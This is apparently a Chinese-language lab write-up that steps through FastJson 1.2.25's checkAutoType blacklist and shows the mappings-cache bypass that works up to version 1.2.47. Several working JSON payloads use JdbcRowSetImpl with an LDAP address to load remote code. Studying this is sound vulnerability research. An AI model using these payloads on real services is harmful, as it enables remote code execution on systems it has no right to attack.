天天看點

FastJson之autotype bypass

FastJson之autotype bypass

在1.2.25版本之後,添加了checkAutoType方法。在方法中引入了白名單(AutoType)、黑名單(denyList)和autoTypeSupport選項

checkAutoType方法

把ubuntu靶機的fastjson版本換到1.2.25,使用原始的payload進行debug

{"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:6666/Evail", "autoCommit":true}}
      

在DefaultJSONParser#parseObject中被添加的checkAutoType()方法

FastJson之autotype bypass

對比下圖1.2.24版本的DefaultJSONParser#parseObject方法

FastJson之autotype bypass

autoTypeSupport

autoTypeSupport值:autoTypeSupport值在1.2.25版本開始的預設是為false(fastjson>=1.2.25預設為false)

開啟方式:在代碼中加入ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

FastJson之autotype bypass

首先跟進checkAutoType()方法,在方法710行中出現了autoTypeSupport

FastJson之autotype bypass

mappings緩存

mappings作用:在fastjson中,mappings作為一個緩存的功能,但是對繞過黑白名單起了一個很關鍵的作用,能繞過黑白名單的檢查

在728行,出現了getClassFromMapping()方法,對typeName進行了解析(typeName就是com.sun.rowset.JdbcRowSetImpl)

FastJson之autotype bypass

跟進getClassFromMapping()方法後發現,這裡從mappings中尋找key為com.sun.rowset.JdbcRowSetImpl的元素,并且傳回對應的鍵值。

FastJson之autotype bypass

mappings集合中的資料對整個邏輯起了很重要的作用,下面隻展示了部分mappings中的資料

FastJson之autotype bypass

最後會把從mappings中找到的元素進行傳回給clazz,由于mappings集合中并沒有com.sun.rowset.JdbcRowSetImpl元素,是以傳回了null給clazz

FastJson之autotype bypass

繼續往下,由于clazz為null,是以if判斷為了false,直接走到了else中

FastJson之autotype bypass

這裡又進行了一次autoTypeSupport值的判斷,前面說了1.2.25開始預設為false,是以if判斷為true進入下面的代碼

FastJson之autotype bypass

denyList黑名單

denyList黑名單:在fastjson中,用了denyList黑名單來判斷是否通過,比對到黑名單就會直接抛出異常JSONException("autoType is not support. " + typeName)

從743行的for中周遊denyList數組中的元素,用if判斷JdbcRowSetImpl是否存在denyList數組中

FastJson之autotype bypass

下面是denyList數組名單,com.sun.rowset.JdbcRowSetImpl被包含在了第3個

FastJson之autotype bypass

循環到第三次的時候,查到JdbcRowSetImpl存在于黑名單,是以抛出了異常

FastJson之autotype bypass

以上就是原始的payload打過去的效果了,可以發現,先是比對了mappings緩存傳回了null值,讓if判斷進入了else代碼中,而else代碼中則用denyList黑名單進行比對抛出了異常,導緻了payload失效

AutoType白名單

AutoType白名單:

  • 當autoTypeSupport為true時,先進行白名單過濾,比對成功即可加載該類并傳回;否則進行黑名單過濾,比對成功直接報錯;兩者皆未比對成功,則加載該類
  • 當autoTypeSupport為false時,先進行黑名單過濾,比對成功直接報錯;再比對白名單,比對成功即可加載該類并傳回;兩者皆未比對成功,則報錯

而AutoType白名單預設為null,由使用者自己設定

當autoTypeSupport為預設值(false)時候,會先進行 黑名單比對denyList,比對不成功則進入白名單比對

FastJson之autotype bypass

繞過黑名單檢查

前面說了,fastjson會從mappings緩存中讀取JdbcRowSetImpl然後指派給clazz。由于緩存中并不存在JdbcRowSetImpl,是以為null,則進入了else邏輯進行黑名單判斷

FastJson之autotype bypass

繞過思路為讓com.sun.rowset.JdbcRowSetImpl進入一次mapping緩存,第二次再執行checkAutoType方法就會從mapping緩存中取出com.sun.rowset.JdbcRowSetImpl進而繞過黑白名單

以下是繞過更新檔的payload:

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:6666/Evail","autoCommit":true}}
      
關于com.sun.rowset.JdbcRowSetImpl是怎麼加入mapping緩存的可以看看這篇文章,有詳細講到:​​http://blog.topsec.com.cn/fastjson曆史漏洞研究(二)/​​

發送payload後,檢視checkAutoType方法

FastJson之autotype bypass

可以看到,這裡clazz已經不為null,直接if判斷為了true,進而不進入else語句,直接進行了return,進而繞過了檢查

FastJson之autotype bypass

最終彈出電腦

FastJson之autotype bypass

總結:

payload:

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:6666/Evail","autoCommit":true}}
      

1.2.25-1.2.32版本:需要未開啟AutoTypeSupport。開啟了AutoTypeSupport将導緻失效

1.2.33-1.2.47版本:無論是否開啟AutoTypeSuppt,都能成功利用

原因是1.2.33版本,以下的黑名單過濾判斷中,com.sun.rowset.JdbcRowSetImpl存在于mappings緩存中導緻了第二個判斷條件為false,進而使得黑名單判斷語句失效

FastJson之autotype bypass